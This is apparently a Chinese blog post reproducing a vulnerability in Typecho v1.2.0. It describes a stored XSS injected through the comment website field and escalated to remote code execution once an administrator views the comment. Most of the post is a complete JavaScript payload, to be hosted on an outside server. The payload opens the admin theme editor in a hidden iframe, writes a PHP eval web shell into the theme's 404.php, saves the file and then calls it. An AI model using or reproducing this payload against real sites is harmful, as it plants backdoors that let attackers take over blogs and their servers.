【漏洞复现】Typecho v1.2.0 rce复现

1	https://github.com/typecho/typecho/releases/tag/v1.2.0

环境搭建

最新版本是v1.2.1，存在漏洞的版本为v1.2.0

通过上面的链接将环境下载下来，然后放在目录下面开phpstudy就可以了。

然后直接install.php安装就可以了。

然后就是正常安装就可以了。

漏洞复现

在评论处的网站框插入POC

成功触发xss

在后台的那个/admin/index.php登录进去，查看评论。

成功触发xss

rce

rce需要远程加载以下js文件

1
2
3

function step1(){ var data2="<iframe id=\"testxss\" src=\"/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" onload=\"poc()\"></iframe>"; var oldata=document.body.innerHTML; document.body.innerHTML=(oldata+data2); }

var times=0; var g_shell=0; function poc(){ if(times<=10){ var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content'); var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button'); olddatas=htmldata.innerText; htmldata.innerText=('<?php @eval($_GET["cookie"])?>\n')+olddatas; btn[1].click(); times+=1; if(g_shell==1){ var xhr1=new XMLHttpRequest(); xhr1.open('get','/usr/themes/default/404.php?shell=1'); xhr1.send(); } else{ return 0; } } } step1();

将这个js部署到其他的web服务器上面去。